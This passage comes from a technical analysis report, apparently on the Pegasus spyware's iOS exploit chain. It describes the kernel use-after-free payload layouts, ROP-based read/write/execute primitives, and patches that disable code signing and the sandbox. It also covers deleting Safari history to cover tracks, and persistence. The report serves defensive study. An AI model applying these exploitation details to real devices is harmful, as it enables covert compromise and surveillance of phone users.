increase the chances) that no additional threads may spawn that can compete for the UAF’s 
targeted memory.  
 

Establishing Communication Channel (32-Bit) 
32Stage2 generates another pipe set using the pipe command, reusing the same variable that 
held the original pipe set 32Stage2 generated. This action is immediately followed by calls to 
host_get_clock_service in order to get access to the real-time and battery clocks. As with 
the pipe set, the calls to host_get_clock_service reuse the same variables from the 
previous calls to host_get_clock_service that gain a port to the various clocks.  
 
The previous generation of the pipe set and the clock ports were necessary because these 
items are used later for kernel manipulation and if the kernel task port was available already, 
32Stage2 would simply skip the exploitation process necessary to modify the kernel and instead 
modify the kernel directly through vm_write calls. However, if 32Stage2 does not have access 
to the kernel task port (the default case on a non-jailbroken device), exploitation is necessary in 
order to acquire such access. As part of this exploitation process, 32Stage2 needs to have the 
pipe set and clocks available prior to the exploit’s activation, and thus the binary ensures that 
they are available. While this is unnecessarily repetitive, it does serve to ensure that the critical 
objects are readily available.  
 
The 64-bit version of the Stage 2 binary does not need to perform this step, given that the 
triggering mechanism used to ultimately call the function is little more than a redirection of an 
existing function pointer to a sysctl handler.  

Payload Construction and Kernel Insertion (32-Bit) 
Without a means to modify kernel memory through the kernel port, 32Stage2 must leverage a 
vulnerability within iOS to gain access to the kernel. In order to perform this task, 32Stage2 
constructs two data buffers: a 20-byte buffer containing the necessary overwrite data to modify 
the real-time and battery clocks and a 38-byte buffer containing a payload that runs a series of 
ROP gadgets to install the clock handler overwrites. The two data buffers have the following 
layout after their construction: 
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clock_ops_overwrite Buffer: 
 [00] (rtclock.getattr): address of OSSerializer::serialize 
 [04] (calend_config): NULL 
 [08] (calend_init): NULL 
 [0C] (calend_gettime): address of calen_getattr 
 [10] (calend_getattr): address of _bufattr_cpx 
 
uaf_payload_buffer Exploit Buffer: 

[00] ptr to clock_ops_overwrite buffer 
[04] address of clock_ops array in kern memory 
[08] address of _copyin 
[0C] NULL 
[10] address of OSSerializer::serialize 
[14] address of "BX LR" code fragment 
[18] NULL 
[1C] address of OSSymbol::getMetaClass 
[20] address of "BX LR" code fragment 
[24] address of "BX LR" code fragment 

 
32Stage2 generates a new thread to handle the necessary setup for the installation of the new 
clock handlers though the new thread, itself, does not perform the installation. The thread 
begins by establishing a kauth_filesec data structure on the stack with the following values: 
 
 .fsec_magic = KAUTH_FILESEC_MAGIC;  // 0x12CC16D 
 .fsec_owner = <undetermined, random stack value> ; 
 .fsec_group = <undetermined, random stack value>; 
 .fsec_acl.entrycount = KAUTH_FILESEC_NOACL; // -1 
 
The uaf_payload_buffer exploit buffer is appended to the end of the kauth_filesec structure 
in what is defined as the kauth_filesec.fsec_acl.acl_ace[] array area.The thread then 
opens a port to IOKit and calls IOServiceGetMatchingService for AppleKeyStore. 
Using the same technique explained previously in the Kernel Location section, the thread 
obtains a valid kernel memory location. The only difference between the new thread’s use of the 
AppleKeyStore disclosure vulnerability and the method used by 32Stage2 previously is the 
property name that the thread uses (which is 
“ararararararararararararararararararararararararararararararararararar
arararararararararararararararararararararararararararara").  
 
After obtaining the kernel address from the AppleKeyStore, a syscall is made to the 
open_extended function. 32Stage2 passes the location of the lock file to the syscall along with 
both the KAUTH_UID_NONE and KAUTH_GID_NONE values and the kauth_filesec structure 
constructed at the start of the thread. At the start of the open_extended function, the following 
code executes: 
 
 if ((uap->xsecurity != USER_ADDR_NULL) && 
  ((ciferror = kauth_copyinfilesec(uap->xsecurity, &xsecdst)) != 0)) 
 
The kauth_copyinfilesec function copies the kauth_filesec structure passed from 
userland into a kauth_filesec structure in the kernel address space. Before explaining the 
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vulnerability in this function, it is necessary to understand the layout of the kauth_filesec 
structure. The kauth_filesec structure makes up an access control list (ACL) that contains 
access control entries (ACE). The structure for kauth_filesec is defined as: 
 
/* File Security information */ 
struct kauth_filesec { 
 u_int32_t fsec_magic; 
 guid_t  fsec_owner; 
 guid_t  fsec_group; 
 struct kauth_acl fsec_acl; 
}; 
 
The ACL component for kauth_filesec is stored in a kauth_acl structure, which contains 
an array of ACE: 
 
/* Access Control List */ 
struct kauth_acl { 
 u_int32_t acl_entrycount; 
 u_int32_t acl_flags; 
 struct kauth_ace acl_ace[1]; 
}; 
 
The kauth_ace structure is 24-bytes in size and defined as: 
 
typedef u_int32_t kauth_ace_rights_t; 
/* Access Control List Entry (ACE) */ 
struct kauth_ace { 
 guid_t  ace_applicable; 
 u_int32_t ace_flags; 
 kauth_ace_rights_t ace_rights;  /* scope specific */ 
}; 
 
The kauth_acl field acl_entrycount is an unsigned integer that defines how many 
kauth_ace entries are within the acl_ace array. If an ACL contains no ACE records, 
acl_entrycount is set to KAUTH_FILESEC_NOACL, which is defined as -1. At the beginning 
of the kauth_copyinfilesec function, the following comment is found within the publicly 
available source code: 
 
/* 
 * Make a guess at the size of the filesec.  We start with the base 
 * pointer, and look at how much room is left on the page, clipped 
 * to a sensible upper bound.  If it turns out this isn't enough, 
 * we'll size based on the actual ACL contents and come back again. 
 * 
 * The upper bound must be less than KAUTH_ACL_MAX_ENTRIES.  The 
 * value here is fairly arbitrary.  It's ok to have a zero count. 
 */ 
 
When the new thread constructs the kauth_filesec structure, it does so by directly 
manipulating the position of the structure on the stack as such: 
 
// get stack address? 
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p = (unsigned int)&stackAnchor & 0xFFFFF000;   
// kauth_filesec.fsec_magic 
(p + 0xEC0) = 0x12CC16D;  
// kauth_filesec.fsec_acl.entrycount = KAUTH_FILESEC_NOACL 
(p + 0xEE4) = -1;  
// kauth_filesec.fsec_acl.acl_ace[...] 
memcpy(&stackAnchor & 0xFFFFF000 | 0xEEC, pExploit, 128); 
 
The stack has the following layout at the start of the new thread’s execution: 
 
  char stackAnchor; // [sp+101Fh] [bp-2031h]@1 
  unsigned int size; // [sp+2020h] [bp-1030h]@12 
  char buffer[4096]; // [sp+2024h] [bp-102Ch]@12 
  int v26; // [sp+3024h] [bp-2Ch]@7 
  mach_port_t connection; // [sp+3028h] [bp-28h]@4 
  kern_return_t result; // [sp+302Ch] [bp-24h]@4 
  mach_port_t masterPort; // [sp+3030h] [bp-20h]@3 MAPDST 
 
Using the variable dubbed stackAnchor, the new thread finds a page boundary address for 
the stack. Then, by allocating a large array to ensure that at least one page of the stack is 
unused by function critical variables, the new thread can construct a kauth_filesec structure 
that contains significantly more information than is necessary. By setting the 
acl_entrycount to indicate that there are no ACE records, when open_extended 
processes the kauth_filesec structure, it will not attempt to parse any data beyond the 
acl_flags variable, thus preserving the integrity of the exploit buffer and preventing the kernel 
from possibly having issue with how the exploit buffer would be interpreted as an actual ACE 
record. The end result of calling open_extended is to copy the exploit buffer (along with the 
clock_ops_overwrite buffer) into kernel memory.  
 
The new thread takes advantage of this behavioral oddity within the open_extended syscall in 
order to place the (unmodified) payload into the kernel memory. The address for that payload is 
then recovered using the previously discussed vulnerability that allows kernel memory to be 
leaked back to user mode. When the AppleKeyStore vulnerability is exploited, the variable 
dubbed buffer is passed to io_service_open_extended (the same variable that resides 
adjacent to the stackAnchor). This behavior means AppleKeyStore returned a pointer for 
kernel memory that was ultimately next to the exploit code copied in by the syscall to 
open_extended. Therefore, the purpose of the new thread is not to overwrite the clock handler 
pointers, but rather to set the stage for such an attack.  
 
Once the new thread completes, the variable containing the memory address of the exploit 
buffer obtained by the new thread as part of the AppleKeyStore information leak is tested to 
determine if it was indeed set by the new thread (prior to calling the new thread, the variable 
that holds the kernel address is initialized to 0x12345678). If the new thread did not successfully 
obtain the kernel memory location, 32Stage2 will call the assert callback and exit.  
 
After the completion of the new thread’s activities, and if the phone reports itself as “iPhone4,1” 
(the iPhone 4 series), the main thread will generate up to 1000 threads. Each of the threads will 
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generate a very tight while loop that waits until a global variable is set to less than 0 (it defaults 
to 1000 at the time the threads are generated). It is unclear why this behavior is restricted to the 
iPhone 4s, as the result of this behavior would seem to have value on all platforms. This thread 
resource exhaustion decreases the probability that another thread will spawn and thus compete 
for the memory resources during the UAF exploitation. 

Payload Construction and Kernel Insertion (64-Bit) 
Given the differences in the triggering mechanism used within 64Stage2, the setup and payload 
construction is somewhat different. Rather than creating pipes and overwriting the clock getattr 
handler, a sysctl handler is overwritten, ultimately resulting in an execute primitive that uses 
OSSerializer::serialize in a similar way to 32Stage2. In order to establish an execute 
primitive, 64Stage2 uses the sysctl interface for net.inet.ip.dummynet.extract_heap to 
which 64Stage2 passes a specially crafted data structure that allows the binary to overwrite the 
function pointer responsible for interfacing with the kernel variable. The end result is a 
framework, similar in nature to the getattr handlers, that allows the 64Stage2 binary to 
execute arbitrary code ROP chains within the kernel from user space. 
 

Establishing Kernel Read/Write Primitives (32-Bit) 
With the exploit code now in kernel memory, 32Stage2 must activate the code in order to install 
the new clock_ops handlers that give userland access to the the kernel memory. 32Stage2 
uses a use-after-free (UAF) vulnerability within the io_service_open_extended 
deserialization routine.  
 
While io_service_open_extended’s deserialization functionality was previously shown in 
this report to allow the leakage of kernel address information, another vulnerability in the same 
component can be used to execute arbitrary code within the kernel. When 
io_service_open_extended is passed a properties data blob, the function will copy the 
contents from user space into kernel space before passing the information to 
OSUnserializeXML. OSUnserializeXML in turn passes the information to 
OSUnserializeBinary if the kOSSerializeBinarySignature value is present at the 
beginning of the data blob. It is within OSUnserializeBinary that the vulnerability exists. 
 
The data blob supplied in the properties parameter represents an XML dictionary (or 
container) that has been serialized. In order to reconstruct the relationships, 
OSUnserializeBinary iterates through the entire data blob to parse out the various data 
objects. It is possible that during the encoding process (the process of turning the original XML 
into its binary representation) that the same object is found repeatedly. In order to more 
efficiently handle repetitive data, objects are stored within an array (objsArray) and objects 
within the reconstructed XML dictionary can be represented by an index into the array of 
objects.  
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Within OSUnserializeBinary, a while loop iterates through each encoded object within the 
supplied data blob. The loop begins by determining the type of object (e.g., 
kOSSerializeDictionary, kOSSerializeArray, kOSSerializeNumber, and so on) and 
its size.  
 
len = (key & kOSSerializeDataMask); 
...  
switch (kOSSerializeTypeMask & key) 
{ 

case kOSSerializeDictionary: 
  o = newDict = OSDictionary::withCapacity(len); 
  newCollect = (len != 0); 
         break; 
 case kOSSerializeArray: 
  o = newArray = OSArray::withCapacity(len); 
  newCollect = (len != 0); 
         break; 
 case kOSSerializeSet: 
  o = newSet = OSSet::withCapacity(len); 
  newCollect = (len != 0); 
... 
 case kOSSerializeObject: 
  if (len >= objsIdx) break; 
  o = objsArray[len]; 
  o->retain(); 
  isRef = true; 
  break; 
... 
} 
 
The switch statement dispatches the appropriate instructions for handling each type of object 
found within the data blob. These instructions can generate new objects and set flags related to 
the objects depending on what the particular object requires during the deserialization process. 
The kOSSerializeObject object type is a special case that represents an already 
deserialized object and, as such, sets a flag isRef to true indicating that the object is a 
reference to an existing object already within the objsArray array.  
 
If the isRef value is not set to true, the current object that just underwent deserialization is 
added to the objsArray by means of setAtIndex: 
 
  if (!isRef) 
  { 
   setAtIndex(objs, objsIdx, o); 
   if (!ok) break; 
   objsIdx++; 
  } 
 
setAtIndex is a macro that, among other things, adds an object (o) to the objsArray. While 
more robust array objects exist within the iOS environment, such as OSArray (an array 
container that will handle reference counting automatically), OSUnserializeBinary takes a 
more manual route for array-object management of the objects it has deserialized. Once 
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deserialized, the object’s reference count is decremented by calling o->release(), which will 
lead to the object being free()ed in most cases. The exception to this behavior occurs within 
kOSSerializeObject objects.  
 
Since a kOSSerializeObject object represents an object that is referenced by other entries, 
it is necessary to retain the object after serialization. As a result, during deserialization 
kOSSerializeObject objects will call o->retain(), thereby incrementing the reference 
count for the object and preventing its removal from memory. 
 
A serialized data blob allows for the same key to be used more than once. In other words, it is 
possible to have XML code that looks like: 
 
<dict> 
 <key>KEY1<key> 
 <number>1</number> 
 <key>KEY1</key> 
 <string>2</string> 
</dict> 
 
The above XML, once serialized, will contain five objects. The first object will be the dictionary 
container (<dict> as a kOSSerializeDictionary object), followed by a symbol 
representing the key (as a kOSSerializeSymbol entry containing “KEY1”) and its data object 
(a kOSSerializeNumber entry for the integer 1). The fourth entry specifies another key 
object, assigned KEY1 again, which is now a string object (kOSSerializeString) containing 
the string “2”. As part of the deserialization process, the reuse of KEY1 results in the object that 
follows replacing the original value assigned to KEY1. This reassignment of a key with new data 
is the situation where OSUnserializeBinary is vulnerable to attack. 
 
As stated previously, when an object is deserialized, and so long as that object is not a 
kOSSerializeObject, the object is stored in the objsArray for later reference. This 
storage is the result of the setAtIndex macro seen here: 
 
#define setAtIndex(v, idx, o) \ 

if (idx >= v##Capacity) \ 
 { \ 
  uint32_t ncap = v##Capacity + 64; \ 
  typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o)); \ 
  if (!nbuf) ok = false; \ 
  if (v##Array) \ 
  { \ 
   bcopy(v##Array, nbuf, v##Capacity * sizeof(o)); \ 
   kfree(v##Array, v##Capacity * sizeof(o)); \ 
  } \ 
  v##Array    = nbuf; \ 
  v##Capacity = ncap; \ 
 } \ 
 if (ok) v##Array[idx] = o; 
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The macro will expand the objsArray to accommodate the additional object and assign the 
object to the end of the objsArray without increasing its reference count by means of a o-
>retain() call. The problem with this method is that when a second object replaces an 
existing object (in our example this is whenever the string object replaces the number object for 
KEY1), the first object is released and subsequently freed, but a pointer to the now freed object 
exists within the objsArray. Normally this would simply be a bad programming design issue, 
but the problem is compounded if a reference is made to the object via a 
kOSSerializeObject entry. If a kOSSerializeObject entry references, by index, the now 
dangling pointer of the freed object, the call to o->retain() will attempt to execute a virtual 
function that is attacker-controlled.  
 
In order to exploit this use-after-free condition, 32Stage2 must take control of the memory 
location that was deallocated and place a custom vtable that will have the entry for retain 
directed to a function of its own choosing. Installing a custom vtable requires having access to 
two deallocated, adjacent memory locations. Since it is not possible to directly overwrite the 
vtable of an object during the serialization process, by allocating and then freeing two memory 
locations, 32Stage2 can use an OSData or OSString object to replace two memory locations 
at once with one of the memory locations containing the malicious vtable. The easiest way to 
understand this concept is to look at the payload that 32Stage2 generates to exploit the 
OSUnserializeBinary UAF vulnerability. 
 
The malicious payload that 32Stage2 generates for this vulnerability depends on the iOS 
version. For iOS version 9.3.2 through at least 9.3.3, the payload takes the following form: 
 
[0x00] kOSSerializeBinarySignature 
[0x04] kOSSerializeEndCollecton | kOSSerializeDictionary | 0x10 
[0x08] kOSSerializeString | 4 
[0x0C] “sy2” 
[0x10] kOSSerializeData | 0x14 
[0x14] {payload buffer} 
[0x28]kOSSerializeEndCollecton | kOSSerializeObject | 1  
 
For iOS 9.0 through 9.3.1, the payload takes the following form: 
 
[0x00] kOSSerializeBinarySignature 
[0x04] kOSSerializeEndCollecton | kOSSerializeDictionary | 0x10 
[0x08] kOSSerializeString | 4 
[0x0C] “sy2” 
[0x10] kOSSerializeEndCollecton | kOSSerializeArray | 0x10 
[0x14] kOSSerializeDictionary | 0x10 
[0x18] kOSSerializeSymbol | 4 
[0x1C] “sy1” 
[0x20] kOSSerializeData | 0x14 
[0x24] ”ffff\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0” 
[0x38] kOSSerializeSymbol | 4 
[0x3C] “sy1” 
[0x40] kOSSerializeEndCollecton | kOSSerializeSymbol | 4 
[0x44] “sy1” 
[0x48] kOSSerializeString | 0x1C 
[0x4C] {payload buffer} 
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[0x68] kOSSerializeString | 0x1C 
[0x6C] {payload buffer}  
[0x88] kOSSerializeString | 0x1C 
[0x8C] {payload buffer}  
[0xA8] kOSSerializeEndCollecton | kOSSerializeObject | 5 
 
While structurally they look somewhat different, ultimately they both exploit the same UAF 
vulnerability. The simpler payload (for iOS 9.3.2 and later) is the easiest to understand. When 
OSUnserializeBinary begins the parsing process to deserialize the payload, the function 
will create a new dictionary object as a result of the entry at offset 0x04. Within this dictionary 
are two unkeyed objects. The first object is an OSString object with the value sy2 (specified 
in offsets 0x08 and 0x0C, respectively). Offset 0x10 specifies an OSData object of 0x14 (20) 
bytes in size. The OSData object contains the payload buffer data structure. Since the objects 
are unkeyed, OSUnserializeBinary will replace the OSString object with the OSData 
object but leave the pointers in place in objsArray. With the OSString object having no 
retain() calls, the OSString is deallocated, thereby putting two memory arrays into the free 
list (one for the OSString object itself and one for the string associated with the OSString 
object).  
 
When OSUnserializeBinary parses the kOSSerializeData entry, a new OSData object 
is allocated and thus consumes one of the freed memory locations from the free list. When the 
data associated with the kOSSerializeData entry is copied into the OSData object, a new 
buffer is allocated for the data, which consumes the remaining data location from the free list. At 
this point, the dangling pointer in objsArray has been replaced with an OSData object’s 
data. It is the data associated with the OSData object that contains the malicious payload that 
will ultimately give 32Stage2 write access into the kernel in order to install the read/write 
primitives.   
 
Regardless of the iOS version, the malicious payload contains the same payload buffer. The 
payload buffer is a 20-byte structure consisting of the following elements: 
 
 [00] address of uaf_payload_buffer + 8 
 [04] {uninitialized data from stack} 
 [08] address of uaf_payload_buffer  
 [0C] static value of 20 
 [10] address of OSSerializer::serialize 
 
The layout of the payload must contain the pointer to the new retain function at offset 0x10. 
32Stage2 uses the OSSerializer::serialize function as the replacement retain. This 
layout means that the remainder of the payload must now mimic the vtable of an 
OSSerializer object. As explained previously in Establishing Read/Write/Execute Primitives 
on Previously Rooted Devices, the OSSerializer::serialize function will call the function 
at offset 0x10 of the supplied vtable while passing offsets 0x08 and 0x0C of the vtable to the 
called function. Given that offset 0x10 is set to OSSerializer::serialize, the function is 
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being called again, but the second call will be given the vtable specified at offset 0x08. This call 
kicks off a series of subsequent calls that ultimately leads to a call to _copyin that replaces the 
getattr handlers for the real-time and battery clocks, as described in Establishing 
Read/Write/Execute Primitives on Previously Rooted Devices. 
 
Following the execution of the exploit, and if the victim’s phone is an “iPhone4,1” model, the 
global variable controlling the 1000 threads generated previously is set to -1 in order to 
terminate the threads. 
 
To verify that the battery clock’s getattr handler is working as a kernel memory address 
reader, clock_get_attributes is called with the read location specified as the base 
address for the kernel. If the result from clock_get_attributes is not the magic value of 
0xFEEDFACE, the attempt is made once more. A second failure results in the assert callback 
being called and 32Stage2 terminating.  
 

Establishing Kernel Read/Write Primitives (64-Bit) 
The same underlying vulnerability is exploited in the 64-bit version of Stage 2. In principle, the 
exploit is structured in a very similar way. The primary difference is that the ultimate execute 
primitive is established by writing to the net.inet.ip.dummynet.extract_heap sysctl 
handler. The OSSerializer::serialize is used in a similar way as within 32Stage2. 
Arbitrary code execution (through the execution of arbitrary ROP chains) is then achieved using 
the same mechanism described in Establishing Kernel Execute Primitive (32-Bit). 
 

Establishing a Kernel Execute Primitive (32-Bit) 
As explained previously in Installing Kernel Access Handlers on Rooted Devices, the real-time 
clock’s getattr handler points to OSSerializer::serialize, which allows the caller of 
clock_get_attributes to pass a specially crafted structure to 
OSSerializer::serialize in order to execute instructions within kernel space. By virtue of 
executing within kernel space, the userland 32Stage2 process must have a way of transferring 
data to the kernel address space in a reliable manner. 32Stage2 uses a clever quirk of the 
pipe-created pipe set to accomplish this task.  
 
After establishing the battery clock’s new getattr handler as _bufattr_cpx, 32Stage2 has 
a reliable method for reading DWORDs from the kernel address space into userland. 32Stage2 
uses this functionality to find the addrperm value stored within the kernel. addrperm defines 
the offset applied to the address from the kernel when passed to userland in order to obfuscate 
the true location of the data in the kernel. By obtaining this value, it is possible to deobfuscate 
kernel addresses back to their real address values. 32Stage2 calls fstat on the read pipe 
from the generated pipe set and then calculates the difference between the location of the stat 
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structure and the kernel address space. This value is then stored in a global variable for use by 
functions that must access kernel memory for the purposes of code execution. 
 
Whenever 32Stage2 wants to execute code within the kernel, the following data structure is 
written to the write pipe of the generated pipe set: 
 
 [00] argument 1 
 [04] argument 2 
 [08] address of code to execute 
 
In order to call the function specified in offset 8 of the data structure, another DWORD is 
prepended to the structure and passed to the real-time clock’s getattr handler (accessed via 
OSSerializer::serialize), which places argument 1 into R3 and argument 2 into R1 
before calling the address specified for the function to execute. By prepending the unused 
DWORD to the data structure, the data structure becomes the vtable replacement for 
OSSerializer. This technique is used in two different functions within 32Stage2. One function 
allows arbitrary kernel function calls and the other is used to write DWORD values into the 
kernel address space.  
 

Patching the Kernel to Allow Kernel Port Access 
With the ability to read, write, and execute arbitrary locations within the kernel address space, 
the next step involves gaining more direct access to the kernel through the kernel port. The 
function task_for_pid will return an error if called with the PID value of 0. In order to bypass 
this protection, Stage 2 modifies four different locations within the task_for_pid function. 
Before the patching of task_for_pid begins, Stage 2 determines if the area requiring the 
patch is within a region of memory that is read/execute. If the memory is non-writable, Stage 2 
will directly modify the permissions of the memory region to allow for write access and then 
invalidate the dcache and flush the data and instruction TLBs in order to ensure that the 
memory region is updated with the new permissions.  
 
After patching the task_for_pid function to allow the caller to gain a port to the kernel,  Stage 
2 will attempt to get a kernel port by calling task_for_pid(mach_task_self, 0, &port) 
up to five times with a 100 mllisecond delay between each attempt before calling the assert 
callback and exiting. 
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Section 3: Privilege Escalation and Activating the 
Jailbreak Binary  

 
 

This section covers the final steps carried out in Stage 2 to gain root access on 
the iPhone, disable code signing, then drop and activate the jailbreak binary. This 
stage leverages the final Trident vulnerability, where kernel memory corruption 
leads to jailbreak (CVE-2016-4656). 
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System Modification for Privilege Escalation 
The next step for 32Stage2 is to gain root access over the victim’s phone. If the Stage 2 process 
is not currently running as root (UID = 0), which it will not be on a non-jailbroken phone, then 
Stage 2 patches the setreuid function to skip the check for privilege escalation. Once the 
modification to setreuid is complete, the function is called up to five times (with 500ms delays 
between each call) until setreuid(0, 0) returns successful. After five attempts (or after a 
successful setreuid call), the modification made to setreuid is reversed. A final check of the 
process’s user value (UID) is made to ensure that it is, indeed, root (0). If the function getuid 
returns any value other than 0, the assert is called and Stage 2 exits. 
 
Stage 2 calls the kernel function kauth_cred_get_with_ref by means of the real-time clock 
clock_get_attributes vector in order to receive the credentials for the main thread. 
Following this, Stage 2 locates the mac_policy_list, which contains the list of access control 
policy modules currently loaded into the iOS kernel. Stage 2 examines the list looking for a 
module that starts with the name “Seat”, referring to the “Seatbelt sandbox policy”. If the policy 
module is not found, Stage 2 calls the assert callback and terminates. If the module is found, 
however, the mpc_field_off member is read and modified to allow the current process 
greater access to the victim’s iPhone. 
 
With access to the kernel port now established and restrictions removed that would prevent 
Stage 2 from performing privileged actions normally blocked by sandbox policy, Stage 2 no 
longer requires the hooked getattr handler for the real-time clock. To ensure that future calls 
to this handler do not crash the phone, the getattr function pointer is modified to point to the 
instructions: 
 
 BX LR 
 
This new handler function effectively turns future calls to the real-time clock’s getattr handler 
into a NOP. This is presumably done to ensure that future calls the to the getattr handler (by 
some other process) do not have unintended consequences and cause the kernel to crash. 
 

Disabling Code Signing 
By default, iOS on a standard iPhone will prevent unsigned code from running through normal 
means, such as an execv or system call. Likewise, modifications to the root file system are 
prevented by setting the filesystem as read-only. These are situations that will prevent Stage 2 
from executing a jailbreak program and will prevent the jailbreak program, if it activates, from 
being able to modify the system. Stage 2 modifies several kernel functions and two kernel 
extensions (kext) in order to permit these forbidden actions. Stage 2 starts by finding the kext for 
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com.apple.driver.AppleMobileFileIntegrity and com.apple.driver.LightweightVolumeManager. 
The com.apple.driver.AppleMobileFileIntegrity (AMFI) extension is responsible for enforcing 
iOS’s code signing functionality. The com.apple.driver.LightweightVolumeManager extension is 
responsible for the partition table of the main storage device.  
 
Stage 2 locates each of extensions by calling OSKextCopyLoadedKextInfo for each extention’s 
name, which returns a dictionary object containing information about the extension. Within the 
dictionary is the loading offset of the extension being queried that Stage 2 turns into the kernel 
memory address by adding the known kernel slide value.  
 
Armed with the kernel address of the AMFI, Stage 2 locates the following global variables: 

● amfi_get_out_of_my_way 
● cs_enforcement_disable 

 
These two variables, when set, disable AFMI (amfi_get_out_of_my_way) and disable code 
signing enforcement (cs_enforcement_disable). Stage 2 then sets two more global 
variables: debug_flags and DEBUGflag. These two variables allow for debugging privilege 
on the victim’s iPhone, further reducing the restrictions that the sandbox (Seatbelt) imposes on 
the device.  
 
Next, Stage 2 patches the kernel function vm_map_enter and vm_map_protect in order to 
disable code signing verifications (making it possible to allocate RWX regions) within the virtual 
memory manager. Following this, Stage 2 patches the _mapForIO function within the 
LightweightVolumeManager before patching the kernel function csops to disable even more 
code signing protections.  

Remounting the Drive 
In order to jailbreak a device, the root file system must be accessible for writing. Stage 2 tests 
the writability of the root file system by calling the access function against /sbin/launchd to 
determine if Stage 2 has write access to the root file system. If the file is read-only, Stage 2 
patches the kernel function _mac_mount to disable the protection policy that prevents 
remounting the filesystem as read/write and then remounts the root filesystem as read/write by 
calling mount(“hfs”, “/”, MNT_UPDATE, mountData) where mountData specifies the 
/dev/disk0s1s1 device.  
 
Stage 2 is written such that it will only operate on iOS 9 series iPhones, but code exists that 
suggest it was once used on older iOS versions. As evidence to support this claim, there exists 
a function that is called after Stage 2 remounts the root file system that modifies its execution 
path if it is running on iOS 7, iOS 8, or iOS 9. Depending on the iOS version, the function calls 
fsctl on either /bin/launchctl (for iOS 7 and 8) or /bin/launchd (for iOS 9). The 
fsctl call will modify the low disk space warning threshold as well as the very low disk space 
warning threshold, setting the values to 8192 and 8208, respectively.  
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Cleanup 
Stage 2 is activated as the result of a bug in Safari that allows for arbitrary code execution. As 
one of the last activities Stage 2 performs prior to dropping and activating the jailbreak binary, 
Stage 2 attempts to cover its infection vector by cleaning up the history and cache files from 
Safari. The process of clearing the Safari browser history and cache files is straightforward and 
iOS version-specific.  
 
For iOS 8 and iOS 9 (Stage 2 will terminate at the beginning if it is not running on iOS 9), the 
following files are summarily deleted from the victim’s iPhone to remove browser and cache 
information: 
 

● /Library/Safari/SuspendState.plist 
● /Library/Safari/History.db 
● /Library/Safari/History.db-shm 
● /Library/Safari/History.db-wal 
● /Library/Safari/History.db-journal 
● /Library/Caches/com.apple.mobilesafari/Cache.db 
● /Library/Caches/com.apple.mobilesafari/Cache.db-shm 
● /Library/Caches/com.apple.mobilesafari/Cache.db-wal 
● /Library/Caches/com.apple.mobilesafari/Cache.db-journal 
● (files in the directory) /Library/Caches/com.apple.mobilesafari/fsCachedData/ 

 
For iOS 7, the following files are removed: 
 

● /Library/Safari/SuspendState.plist 
● /Library/Caches/com.apple.mobilesafari/Cache.db 
● /Library/Caches/com.apple.mobilesafari/Cache.db-shm 
● /Library/Caches/com.apple.mobilesafari/Cache.db-wal 
● /Library/Caches/com.apple.mobilesafari/Cache.db-journal 

 
The function concludes by calling sync to ensure the deletions are written to disk.  

Next Stage Installation 
Again, showing evidence of the use of code originally targeting an older iOS version, the next 
function the main thread calls decompresses and drops two files onto the victim’s filesystem. 
The following code snippet illustrates how Stage 2 determines the location of the jailbreaker 
binary on the victim’s device: 
 
 if ( (unsigned int)(majorVersion - 8) >= 2 ) 
  { 
    if ( majorVersion == 7 ) 
    { 
      pszJBFilenamePath = "/bin/sh"; 
      if ( flag) 
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        pszJBFilenamePath = "/private/var/tmp/jb-install"; 
    } 
    else 
    { 
      assert(); 
      writeLog(3, "%.2s%5.5d\n", "bh.c", 134); 
      exit(-1); 
      pszJBFilenamePath = 0; 
    } 
  } 
  else 
  { 
    pszJBFilenamePath = "/sbin/mount_nfs.temp"; 
  } 
 
The code snippet shows that for iOS version 7, the install path for the next stage’s binary is 
either /bin/sh or /private/var/tmp/jb-install (if flag is non-zero). For iOS versions 
older than 7, the assert callback is called and the program terminates. For iOS 8 and greater, 
the install path is specified as /sbin/mount_nfs.temp. 
 
The size of the data blob containing the next stage binary is verified to be non-zero. If the size is 
zero, the assert callback occurs and Stage 2 is terminated. The BZ2_* API functions are then 
used by Stage 2 to decompress the data into two files: the first file is the next stage binary, 
which, for iOS 9, is stored at /sbin/mount_nfs.temp. The second file is the configuration 
file, which is stored at /private/var/tmp/jb_cfg.  
 
The permissions of the two files are changed to 0755 (making the files executable) before 
control returns to the main thread.  
 
The final function that Stage 2 calls before terminating is responsible for moving the binary 
dropped by the previous step. For iOS versions 8 and 9, the file /sbin/mount_nfs.temp is 
renamed to /sbin/mount_nfs. If the iOS on the victim’s phone is iOS 9, an attempt is made 
to delete /sbin/mount_nfs prior to the renaming operation. After renaming the file, the assert 
callback function is called followed by the exit function, terminating Stage 2. 
 
Once execution returns to the main thread, Stage 2 terminates silently.  
 

Existing Jailbreak Detection  
As mentioned previously, the Stage 2 binary operates in two distinct modes. The first, which has 
already been discussed, constitutes a complete iOS exploit and jailbreak. The second is the 
code path taken when the Stage 2 binary is run on a system that has already been jailbroken. In 
this mode, Stage 2 simply takes advantage of the existing jailbreak backdoors to install the 
Pegasus-specific kernel patches. 
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To determine whether the the device has already been jailbroken, Stage 2 attempts to acquire a 
valid mach port (a handle) into the iOS kernel using a common jailbreak backdoor. This check is 
performed simply by calling task_for_pid with the PID value set to 0. Patching 
task_for_pid in this way is a common backdoor mechanism used by iOS jailbreaks that 
provides direct kernel memory access to a user mode process. Calling task_for_pid with a 
PID of 0 is not normally allowed by iOS. If task_for_pid returns a valid task port, then the 
Stage 2 process has elevated access to the kernel and can forgo the privilege escalation steps 
described previously. 
 
Stage 2 also checks for the presence of the binary /bin/sh. On a non-jailbroken phone, this 
binary should never exist. When Stage 2 detects the presence of this binary, it assumes that the 
existing jailbreak is either incompatible with Pegasus or that all required kernel patches are 
already in place and no further action is needed. When /bin/sh is identified on a device, prior 
to exploitation, Stage 2 simply exits cleanly. 
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Section 4: Pegasus Persistence Mechanism 
 

 
This section details the persistence mechanism used by Pegasus to remain on the 
device after compromise via an exploit of the Trident vulnerabilities, and continue 
to execute unsigned code each time the device reboots. 
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Pegasus Persistence Mechanism 
 
The persistence mechanism used by Pegasus to reliably execute unsigned code each time the 
device boots (and, ultimately, execute the kernel exploit to again jailbreak the device) relies on a 
combination of two distinct issues.  
 
The first issue is the presence of the rtbuddyd service within a plist (to be launched on device 
boot). Note that prior to iOS 10, rtbuddyd is present on some iPhone devices for example the 
iPhone 6S, but not on others like the iPhone 6. As a result, any signed binary that can be copied 
into the specified path (/usr/libexec/rtbuddyd) will be executed at boot time with the 
arguments specified in the plist (specifically “--early-boot”).  
 
